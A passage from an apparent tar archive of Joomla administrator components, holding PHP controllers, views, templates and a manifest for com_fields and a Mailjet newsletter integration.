				JToolbarHelper::save2new('field.save2new');
			}
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('field.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('field.cancel');
		}
		else
		{
			JToolbarHelper::cancel('field.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_FIELDS_FIELDS_EDIT');
	}
}
com_fields/views/field/tmpl/edit.php000060400000007600152455305320013505 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tabstate');
JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' => 0 ));
JHtml::_('formbehavior.chosen', 'select');

$app = JFactory::getApplication();
$input = $app->input;

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "field.cancel" || document.formvalidator.isValid(document.getElementById("item-form")))
		{
			Joomla.submitform(task, document.getElementById("item-form"));
		}
	};
	jQuery(document).ready(function() {
		jQuery("#jform_title").data("dp-old-value", jQuery("#jform_title").val());
		jQuery("#jform_title").change(function(data, handler) {
			if(jQuery("#jform_title").data("dp-old-value") == jQuery("#jform_label").val()) {
				jQuery("#jform_label").val(jQuery("#jform_title").val());
			}

			jQuery("#jform_title").data("dp-old-value", jQuery("#jform_title").val());
		});
	});
');

?>

<form action="<?php echo JRoute::_('index.php?option=com_fields&context=' . $input->getCmd('context', 'com_content') . '&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">
	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>
	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'general')); ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('COM_FIELDS_VIEW_FIELD_FIELDSET_GENERAL', true)); ?>
		<div class="row-fluid">
			<div class="span9">
				<?php echo $this->form->renderField('type'); ?>
				<?php echo $this->form->renderField('name'); ?>
				<?php echo $this->form->renderField('label'); ?>
				<?php echo $this->form->renderField('description'); ?>
				<?php echo $this->form->renderField('required'); ?>
				<?php echo $this->form->renderField('default_value'); ?>

				<?php foreach ($this->form->getFieldsets('fieldparams') as $name => $fieldSet) : ?>
					<?php foreach ($this->form->getFieldset($name) as $field) : ?>
						<?php echo $field->renderField(); ?>
					<?php endforeach; ?>
				<?php endforeach; ?>

			</div>
			<div class="span3">
				<?php $this->set('fields',
						array(
							array(
								'published',
								'state',
								'enabled',
							),
							'group_id',
							'assigned_cat_ids',
							'access',
							'language',
							'note',
						)
				); ?>
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
				<?php $this->set('fields', null); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php $this->set('ignore_fieldsets', array('fieldparams')); ?>
		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('JGLOBAL_FIELDSET_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
			</div>
			<div class="span6">
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php if ($this->canDo->get('core.admin')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'rules', JText::_('JGLOBAL_ACTION_PERMISSIONS_LABEL', true)); ?>
			<?php echo $this->form->getInput('rules'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
		<?php echo $this->form->getInput('context'); ?>
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_fields/libraries/fieldsplugin.php000060400000014444152455305320014031 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Abstract Fields Plugin
 *
 * @since  3.7.0
 */
abstract class FieldsPlugin extends JPlugin
{
	protected $autoloadLanguage = true;

	/**
	 * Returns the custom fields types.
	 *
	 * @return  string[][]
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsGetTypes()
	{
		// Cache filesystem access / checks
		static $types_cache = array();

		if (isset($types_cache[$this->_type . $this->_name]))
		{
			return $types_cache[$this->_type . $this->_name];
		}

		$types = array();

		// The root of the plugin
		$root = JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name;

		foreach (JFolder::files($root . '/tmpl', '.php') as $layout)
		{
			// Strip the extension
			$layout = str_replace('.php', '', $layout);

			// The data array
			$data = array();

			// The language key
			$key = strtoupper($layout);

			if ($key != strtoupper($this->_name))
			{
				$key = strtoupper($this->_name) . '_' . $layout;
			}

			// Needed attributes
			$data['type'] = $layout;

			if (JFactory::getLanguage()->hasKey('PLG_FIELDS_' . $key . '_LABEL'))
			{
				$data['label'] = JText::sprintf('PLG_FIELDS_' . $key . '_LABEL', strtolower($key));

				// Fix wrongly set parentheses in RTL languages
				if (JFactory::getLanguage()->isRTL())
				{
					$data['label'] = $data['label'] . '&#x200E;';
				}
			}
			else
			{
				$data['label'] = $key;
			}

			$path = $root . '/fields';

			// Add the path when it exists
			if (file_exists($path))
			{
				$data['path'] = $path;
			}

			$path = $root . '/rules';

			// Add the path when it exists
			if (file_exists($path))
			{
				$data['rules'] = $path;
			}

			$types[] = $data;
		}

		// Add to cache and return the data
		$types_cache[$this->_type . $this->_name] = $types;

		return $types;
	}

	/**
	 * Prepares the field value.
	 *
	 * @param   string    $context  The context.
	 * @param   stdclass  $item     The item.
	 * @param   stdclass  $field    The field.
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareField($context, $item, $field)
	{
		// Check if the field should be processed by us
		if (!$this->isTypeSupported($field->type))
		{
			return;
		}

		// Merge the params from the plugin and field which has precedence
		$fieldParams = clone $this->params;
		$fieldParams->merge($field->fieldparams);

		// Get the path for the layout file
		$path = JPluginHelper::getLayoutPath('fields', $field->type, $field->type);

		if (!file_exists($path))
		{
			$path = JPluginHelper::getLayoutPath('fields', $this->_name, $field->type);
		}

		// Render the layout
		ob_start();
		include $path;
		$output = ob_get_clean();

		// Return the output
		return $output;
	}

	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		// Check if the field should be processed by us
		if (!$this->isTypeSupported($field->type))
		{
			return null;
		}

		// Detect if the field is configured to be displayed on the form
		if (!FieldsHelper::displayFieldOnForm($field))
		{
			return null;
		}

		// Create the node
		$node = $parent->appendChild(new DOMElement('field'));

		// Set the attributes
		$node->setAttribute('name', $field->name);
		$node->setAttribute('type', $field->type);
		$node->setAttribute('label', $field->label);
		$node->setAttribute('labelclass', $field->params->get('label_class'));
		$node->setAttribute('description', $field->description);
		$node->setAttribute('class', $field->params->get('class'));
		$node->setAttribute('hint', $field->params->get('hint'));
		$node->setAttribute('required', $field->required ? 'true' : 'false');

		if ($field->default_value !== '')
		{
			$defaultNode = $node->appendChild(new DOMElement('default'));
			$defaultNode->appendChild(new DOMCdataSection($field->default_value));
		}

		// Combine the two params
		$params = clone $this->params;
		$params->merge($field->fieldparams);

		// Set the specific field parameters
		foreach ($params->toArray() as $key => $param)
		{
			if (is_array($param))
			{
				// Multidimensional arrays (eg. list options) can't be transformed properly
				$param = count($param) == count($param, COUNT_RECURSIVE) ? implode(',', $param) : '';
			}

			if ($param === '' || (!is_string($param) && !is_numeric($param)))
			{
				continue;
			}

			$node->setAttribute($key, $param);
		}

		// Check if it is allowed to edit the field
		if (!FieldsHelper::canEditFieldValue($field))
		{
			$node->setAttribute('disabled', 'true');
		}

		// Return the node
		return $node;
	}

	/**
	 * The form event. Load additional parameters when available into the field form.
	 * Only when the type of the form is of interest.
	 *
	 * @param   JForm     $form  The form
	 * @param   stdClass  $data  The data
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		// Check if the field form is calling us
		if (strpos($form->getName(), 'com_fields.field') !== 0)
		{
			return;
		}

		// Ensure it is an object
		$formData = (object) $data;

		// Gather the type
		$type = $form->getValue('type');

		if (!empty($formData->type))
		{
			$type = $formData->type;
		}

		// Not us
		if (!$this->isTypeSupported($type))
		{
			return;
		}

		$path = JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name . '/params/' . $type . '.xml';

		// Check if params file exists
		if (!file_exists($path))
		{
			return;
		}

		// Load the specific plugin parameters
		$form->load(file_get_contents($path), true, '/form/*');
	}

	/**
	 * Returns true if the given type is supported by the plugin.
	 *
	 * @param   string  $type  The type
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	protected function isTypeSupported($type)
	{
		foreach ($this->onCustomFieldsGetTypes() as $typeSpecification)
		{
			if ($type == $typeSpecification['type'])
			{
				return true;
			}
		}

		return false;
	}
}
com_fields/libraries/fieldslistplugin.php000060400000003552152455305320014723 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Base plugin for all list based plugins
 *
 * @since  3.7.0
 */
class FieldsListPlugin extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('validate', 'options');

		foreach ($this->getOptionsFromField($field) as $value => $name)
		{
			$option = new DOMElement('option', htmlspecialchars($value, ENT_COMPAT, 'UTF-8'));
			$option->textContent = htmlspecialchars(JText::_($name), ENT_COMPAT, 'UTF-8');

			$element = $fieldNode->appendChild($option);
			$element->setAttribute('value', $value);
		}

		return $fieldNode;
	}

	/**
	 * Returns an array of key values to put in a list from the given field.
	 *
	 * @param   stdClass  $field  The field.
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public function getOptionsFromField($field)
	{
		$data = array();

		// Fetch the options from the plugin
		$params = clone $this->params;
		$params->merge($field->fieldparams);

		foreach ($params->get('options', array()) as $option)
		{
			$op = (object) $option;
			$data[$op->value] = $op->name;
		}

		return $data;
	}
}
com_fields/fields.xml000060400000002302152455305320010635 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.7.0" method="upgrade">
	<name>com_fields</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>COM_FIELDS_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>controller.php</filename>
		<filename>fields.php</filename>
		<folder>controllers</folder>
		<folder>layouts</folder>
	</files>
	<administration>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>controller.php</filename>
			<filename>fields.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>libraries</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_fields.ini</language>
			<language tag="en-GB">language/en-GB.com_fields.sys.ini</language>
		</languages>
	</administration>
</extension>


com_fields/controllers/groups.php000060400000002026152455305320013246 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Groups list controller class.
 *
 * @since  3.7.0
 */
class FieldsControllerGroups extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 *
	 * @since   3.7.0
	 */
	protected $text_prefix = 'COM_FIELDS_GROUP';

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  The array of possible config values. Optional.
	 *
	 * @return  JModelLegacy|boolean  Model object on success; otherwise false on failure.
	 *
	 * @since   3.7.0
	 */
	public function getModel($name = 'Group', $prefix = 'FieldsModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_fields/controllers/fields.php000060400000001744152455305320013203 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Fields list controller class.
 *
 * @since  3.7.0
 */
class FieldsControllerFields extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 *
	 * @since   3.7.0
	 */
	protected $text_prefix = 'COM_FIELDS_FIELD';

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  The array of possible config values. Optional.
	 *
	 * @return  FieldsModelField|boolean
	 *
	 * @since   3.7.0
	 */
	public function getModel($name = 'Field', $prefix = 'FieldsModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_fields/controllers/group.php000060400000006762152455305320013076 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * The Group controller
 *
 * @since  3.7.0
 */
class FieldsControllerGroup extends JControllerForm
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string

	 * @since   3.7.0
	 */
	protected $text_prefix = 'COM_FIELDS_GROUP';

	/**
	 * The component for which the group applies.
	 *
	 * @var    string
	 * @since   3.7.0
	 */
	private $component = '';

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   3.7.0
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$parts = FieldsHelper::extract($this->input->getCmd('context'));

		if ($parts)
		{
			$this->component = $parts[0];
		}
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal error is set.
	 *
	 * @since   3.7.0
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		$model = $this->getModel('Group');

		// Preset the redirect
		$this->setRedirect('index.php?option=com_fields&view=groups');

		return parent::batch($model);
	}

	/**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	protected function allowAdd($data = array())
	{
		return JFactory::getUser()->authorise('core.create', $this->component);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	protected function allowEdit($data = array(), $key = 'parent_id')
	{
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
		$user = JFactory::getUser();

		// Zero record (parent_id:0), return component edit permission by calling parent controller method
		if (!$recordId)
		{
			return parent::allowEdit($data, $key);
		}

		// Check edit on the record asset (explicit or inherited)
		if ($user->authorise('core.edit', $this->component . '.fieldgroup.' . $recordId))
		{
			return true;
		}

		// Check edit own on the record asset (explicit or inherited)
		if ($user->authorise('core.edit.own', $this->component . '.fieldgroup.' . $recordId) || $user->authorise('core.edit.own', $this->component))
		{
			// Existing record already has an owner, get it
			$record = $this->getModel()->getItem($recordId);

			if (empty($record))
			{
				return false;
			}

			// Grant if current user is owner of the record
			return $user->id == $record->created_by;
		}

		return false;
	}

	/**
	 * Function that allows child controller access to model data after the data has been saved.
	 *
	 * @param   JModelLegacy  $model      The data model object.
	 * @param   array         $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		$item = $model->getItem();

		if (isset($item->params) && is_array($item->params))
		{
			$registry = new Registry;
			$registry->loadArray($item->params);
			$item->params = (string) $registry;
		}

		return;
	}
}
com_fields/controllers/field.php000060400000010413152455305320013011 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * The Field controller
 *
 * @since  3.7.0
 */
class FieldsControllerField extends JControllerForm
{
	private $internalContext;

	private $component;

	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string

	 * @since   3.7.0
	 */
	protected $text_prefix = 'COM_FIELDS_FIELD';

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   3.7.0
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->internalContext = JFactory::getApplication()->getUserStateFromRequest('com_fields.fields.context', 'context', 'com_content.article', 'CMD');
		$parts = FieldsHelper::extract($this->internalContext);
		$this->component = $parts ? $parts[0] : null;
	}

	/**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	protected function allowAdd($data = array())
	{
		return JFactory::getUser()->authorise('core.create', $this->component);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
		$user = JFactory::getUser();

		// Zero record (id:0), return component edit permission by calling parent controller method
		if (!$recordId)
		{
			return parent::allowEdit($data, $key);
		}

		// Check edit on the record asset (explicit or inherited)
		if ($user->authorise('core.edit', $this->component . '.field.' . $recordId))
		{
			return true;
		}

		// Check edit own on the record asset (explicit or inherited)
		if ($user->authorise('core.edit.own', $this->component . '.field.' . $recordId))
		{
			// Existing record already has an owner, get it
			$record = $this->getModel()->getItem($recordId);

			if (empty($record))
			{
				return false;
			}

			// Grant if current user is owner of the record
			return $user->id == $record->created_user_id;
		}

		return false;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal error is set.
	 *
	 * @since   3.7.0
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		$model = $this->getModel('Field');

		// Preset the redirect
		$this->setRedirect('index.php?option=com_fields&view=fields&context=' . $this->internalContext);

		return parent::batch($model);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   3.7.0
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar = 'id')
	{
		return parent::getRedirectToItemAppend($recordId) . '&context=' . $this->internalContext;
	}

	/**
	 * Gets the URL arguments to append to a list redirect.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   3.7.0
	 */
	protected function getRedirectToListAppend()
	{
		return parent::getRedirectToListAppend() . '&context=' . $this->internalContext;
	}

	/**
	 * Function that allows child controller access to model data after the data has been saved.
	 *
	 * @param   JModelLegacy  $model      The data model object.
	 * @param   array         $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		$item = $model->getItem();

		if (isset($item->params) && is_array($item->params))
		{
			$registry = new Registry;
			$registry->loadArray($item->params);
			$item->params = (string) $registry;
		}

		return;
	}
}
com_mailjet/views/campaigns/view.html.php000060400000002420152455305320014552 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import Joomla view library
jimport('joomla.application.component.view');

if (!function_exists('class_alias')) { // For php older then 5.3
  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

if (!class_exists('JViewLegacy')) {
  class_alias('JView','JViewLegacy');
}

if (!class_exists('JModelLegacy')) {
  class_alias('JModel','JModelLegacy');
}

$jversion = new JVersion;
$jshort = $jversion->getShortVersion();

$lang = JFactory::getLanguage();
$extension = 'com_mailjet';
$base_dir = JPATH_SITE;
$language_tag =  $lang->getTag();
$reload = true;
$lang->load($extension, $base_dir, $language_tag, $reload);

class MailjetViewCampaigns extends JViewLegacy
{
    /**
     * HelloWorlds view display method
     * @return void
     */
    function display($tpl = null)
    {
        JToolBarHelper::title (JText::_("COM_MAILJET_CAMPAIGNS"), 'logo.png' );
        //JToolBarHelper::save ();

        $this->sidebar = JHtmlSidebar::render();
        
        parent::display ($tpl);
    }
}com_mailjet/views/campaigns/tmpl/default.php000060400000002023152455305320015234 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
defined('_JEXEC') or die('Restricted access'); 

$lib_dir = __DIR__.'/../../../lib/';

require_once ($lib_dir.'config.php');
require_once ($lib_dir.'lib/Auth.php');
require_once ($lib_dir.'lib/mailjet-api-strategy.php');

$auth = new Auth();

$nextStepUrl = $auth->haveToken() ? 'campaigns' : 'reseller/signup';

//$address = "{$mailjetUrl}/{$nextStepUrl}?r={$resellerName}&show_menu=none&u=Joomla-3.0&f=amc";
$address = "https://".(($auth->getApiVersion == '0.1')?"www":(($auth->getApiVersion == 'REST')?"app":"www")).".mailjet.com/{$nextStepUrl}?r={$resellerName}&show_menu=none&u=Joomla-3.0&f=amc";

if ($auth->haveToken()) {
    $address .= "&t=" . $auth->getToken();  
}
?>

<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
    <iframe width="1000" height="1300" src="<?php echo $address; ?>">
</div>com_mailjet/views/statistics/view.html.php000060400000002415152455305320015006 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import Joomla view library
jimport('joomla.application.component.view');

if (!function_exists('class_alias')) { // For php older then 5.3
  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

if (!class_exists('JViewLegacy')) {
  class_alias('JView','JViewLegacy');
}

if (!class_exists('JModelLegacy')) {
  class_alias('JModel','JModelLegacy');
}

$jversion = new JVersion;
$jshort = $jversion->getShortVersion();

$lang = JFactory::getLanguage();
$extension = 'com_mailjet';
$base_dir = JPATH_SITE;
$language_tag =  $lang->getTag();
$reload = true;
$lang->load($extension, $base_dir, $language_tag, $reload);

class MailjetViewStatistics extends JViewLegacy
{
    /**
     * HelloWorlds view display method
     * @return void
     */
    function display($tpl = null)
    {
        JToolBarHelper::title (JText::_("COM_MAILJET_STATS"), 'logo.png' );
        //JToolBarHelper::save ();
        
        $this->sidebar = JHtmlSidebar::render();

        parent::display ($tpl);
    }
}com_mailjet/views/statistics/tmpl/default.php000060400000002017152455305320015467 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
defined('_JEXEC') or die('Restricted access'); 

$lib_dir = __DIR__.'/../../../lib/';

require_once ($lib_dir.'config.php');
require_once ($lib_dir.'lib/Auth.php');
require_once ($lib_dir.'lib/mailjet-api-strategy.php');

$auth = new Auth();

$nextStepUrl = $auth->haveToken() ? 'stats' : 'reseller/signup';

//$address = "{$mailjetUrl}/{$nextStepUrl}?r={$resellerName}&show_menu=none&u=Joomla-3.0&f=amc";
$address = "https://".(($auth->getApiVersion == '0.1')?"www":(($auth->getApiVersion == 'REST')?"app":"www")).".mailjet.com/{$nextStepUrl}?r={$resellerName}&show_menu=none&u=Joomla-3.0&f=amc";

if ($auth->haveToken()) {
    $address .= "&t=" . $auth->getToken();  
}
?>

<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
    <iframe width="1000" height="1300" src="<?php echo $address; ?>">
</div>com_mailjet/views/mailjet/tmpl/default.php000060400000007143152455305320014727 0ustar00<?php 
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
 defined('_JEXEC') or die('Restricted access'); ?>

<div id="j-sidebar-container" class="span2">
    <?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10 iframe">
    <form action="<?php echo JRoute::_('index.php?option=com_mailjet&layout=edit') ?>" method="post" id="adminForm" name="adminForm">
        <div class="social" style="width:25%;float:right;border: 1px #CCC solid; border-radius: 6px; padding:8px">
            <h3><?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_SHARE'); ?></h3>
            <div style="margin-bottom:10px">
                <?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_FACEBOOK_LINK'); ?>
            </div>
            <div>
                <?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_TWITTER_LINK'); ?>
            </div>
        </div>
        <div id="editcell"style="width:70%">
            <fieldset class="adminform">
                <legend><?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_TITLE'); ?></legend>

                <ol>
                    <li>
                        <?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_ACCOUNT'); ?>
                    </li>
                    <li>
                        <?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_LIST'); ?>
                    </li>
                    <li>
                        <?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_WIDGET'); ?>
                    </li>
                    <li>
                        <?php echo JText::_ ('COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_CAMPAIGN'); ?>
                    </li>
                </ol>

            </fieldset>
            <fieldset class="adminform">
                <legend><?php echo JText::_ ('COM_MAILJET_GENERAL_SETTINGS'); ?></legend>
                <p><?php echo JText::_ ('COM_MAILJET_MAILJET_SETTINGS_API_KEYS_HELP'); ?></p>

                <label for="enable"><?php echo JText::_ ('COM_MAILJET_GENERAL_SETTINGS_ENABLED'); ?></label> <input type="checkbox" name="enable" id="enable" <?php if ($this->params ['enable']) echo 'checked="checked"'; ?> />
                <label for="test"><?php echo JText::_ ('COM_MAILJET_GENERAL_SETTINGS_SEND_TEST'); ?></label> <input type="checkbox" name="test" id="test" <?php if ($this->params ['test']) echo 'checked="checked"'; ?> />
                <label for="test_address"><?php echo JText::_ ('COM_MAILJET_GENERAL_SETTINGS_TEST_RECIPIENT'); ?></label> <input type="text" name="test_address" id="test_address" value="<?php echo $this->params ['test_address']; ?>" style="width:220px;" />
            </fieldset>

            <fieldset class="adminform">
                <legend><?php echo JText::_ ('COM_MAILJET_MAILJET_SETTINGS'); ?></legend>

                <label for="username"><?php echo JText::_ ('COM_MAILJET_MAILJET_SETTINGS_API_KEY'); ?></label> <input type="text" name="username" id="username" value="<?php echo $this->params ['username']; ?>" style="width:220px;" />
                <label for="password"><?php echo JText::_ ('COM_MAILJET_MAILJET_SETTINGS_SECRET_KEY'); ?></label> <input type="text" name="password" id="password" value="<?php echo $this->params ['password']; ?>" style="width:220px;" />
            </fieldset>
        </div>
        <?php echo JHTML::_( 'form.token' ); ?>
        <input type="hidden" name="option" value="com_mailjet" />
        <input type="hidden" name="task" value="" />
        <input type="hidden" name="controller" value="mailjetedit" />
    </form>
</div>com_mailjet/views/mailjet/view.html.php000060400000002521152455305320014237 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import Joomla view library
jimport('joomla.application.component.view');

if (!function_exists('class_alias')) { // For php older then 5.3
